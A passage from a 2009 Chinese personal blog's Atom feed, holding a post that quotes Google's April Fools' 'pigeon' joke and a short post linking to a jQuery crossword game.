href='http://liuspring.blogspot.com/2009/04/google-app-engine_4090.html' title='部署我的Google App Engine（一）'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-3664701694883305475</id><published>2009-04-01T17:45:00.002+08:00</published><updated>2010-08-13T11:22:03.241+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='娱乐'/><title type='text'>Google的愚人节</title><content type='html'>&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;text-align:left;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;text-align:left;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;h2 style="font-size:17px;border-width:0;margin:0 0 10px;padding:0 0 3px;"&gt;&lt;font size="2"&gt;上班的路上听广播，说今天是&lt;/font&gt;愚人节，就想不知道今天Google会出什么新花样，哈哈 &lt;br/&gt;到公司一看，果然，首页上多了个&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;" class="Apple-style-span"&gt;&lt;a href="//www.google.cn/intl/zh-CN/google_pigeon/index.html"&gt;&lt;br/&gt;谷鸽鸟看&lt;/a&gt;，打造山寨信息网&lt;/span&gt;&lt;/span&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;" class="Apple-style-span"&gt;&lt;br/&gt;最近诸事不顺，轻松一下吧&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;" class="Apple-style-span"&gt;=====================&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="border-collapse:separate;color:rgb(0,0,0);font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;orphans:2;text-indent:0;text-transform:none;white-space:normal;widows:2;word-spacing:0;" class="Apple-style-span"&gt;&lt;span style="font-size:13px;text-align:left;" class="Apple-style-span"&gt;&lt;br/&gt;&lt;h2 style="font-size:17px;border-width:0;margin:0 0 10px;padding:0 0 3px;"&gt;关于&amp;ldquo;谷鸽鸟看&amp;rdquo;计划&lt;/h2&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;2009年4月1日， 总部位于美国加州山寨城（Mountain Village）的谷歌公司正式推出&amp;ldquo;谷鸽鸟看&amp;rdquo;计划。 该计划旨在利用装备了 CADIE 芯片和软体， 并被赋予了超智能信息处理能力的&amp;ldquo;谷鸽&amp;rdquo;， 动态采集、整理和分享山寨信息，打造全球最大的山寨信息网。 简言之，&amp;ldquo;谷鸽鸟看&amp;rdquo;计划的使命是：&lt;/p&gt;&lt;br/&gt;&lt;p style="font-weight:bold;text-align:center;border-width:0;margin:0;padding:0 0 1em;" class="hot"&gt;鸟看全球信息，使人人皆可山寨并从中受益！&lt;/p&gt;&lt;br/&gt;&lt;br/&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;除谷鸽自动外出寻找山寨信息外，用户也可以主动召唤谷鸽采集身边的山寨信息。召唤方法如下：&lt;/p&gt;&lt;br/&gt;&lt;ul style="border-width:0;margin:0 0 0 2em;padding:0 0 1em 1em;"&gt;&lt;br/&gt;&lt;li style="line-height:1.5em;border-width:0;margin:0;padding:0 0 .5em;"&gt;走到户外或楼顶超过20平方米的空地&lt;/li&gt;&lt;br/&gt;&lt;li style="line-height:1.5em;border-width:0;margin:0;padding:0 0 .5em;"&gt;用支持上网功能的手机打开谷歌移动版&lt;a style="color:rgb(85,26,139);" target="_blank" href="http://www.google.cn/m"&gt;http://g.cn/&lt;/a&gt;&lt;/li&gt;&lt;br/&gt;&lt;li style="line-height:1.5em;border-width:0;margin:0;padding:0 0 .5em;"&gt;对着手机屏幕上出现的麦克风图标，使用鸽子的方法，&amp;ldquo;咕&amp;mdash;&amp;mdash;咕&amp;mdash;&amp;mdash;咕&amp;mdash;&amp;mdash;&amp;rdquo;大叫三声&lt;/li&gt;&lt;br/&gt;&lt;li style="line-height:1.5em;border-width:0;margin:0;padding:0 0 .5em;"&gt;耐心等待……&lt;/li&gt;&lt;br/&gt;&lt;/ul&gt;&lt;br/&gt;&lt;p style="border-width:0;margin:0;padding:0 0 1em;"&gt;不出意外的话，谷鸽会在三十分钟内出现在您的身边。 根据不完全统计，排除软件 Bug 和芯片抽风等影响因素， 谷鸽响应召唤者的平均时间间隔是 21.04 分钟，响应成功率为 99.5865%。&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-3664701694883305475?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/3664701694883305475/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/04/google_01.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3664701694883305475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/3664701694883305475'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/04/google_01.html' title='Google的愚人节'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-7270740491614142882</id><published>2009-03-31T21:32:00.001+08:00</published><updated>2010-08-13T11:22:03.217+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Js'/><title type='text'>javascript 填字游戏</title><content type='html'>JavaScript写的小游戏 用了jquery&lt;br/&gt;&lt;br/&gt;访问地址：&lt;a href="http://liuspring315.googlepages.com/" target="_blank"&gt;http://liuspring315.googlepages.com/&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;div align="center"&gt;&lt;img border="0" class="blogimg" src="http://hiphotos.baidu.com/liuspring/pic/item/ae7743af15254ed9fbed50a5.jpg" /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-7270740491614142882?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/7270740491614142882/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/03/javascript_31.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7270740491614142882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/7270740491614142882'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/03/javascript_31.html' title='javascript 填字游戏'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry></feed>
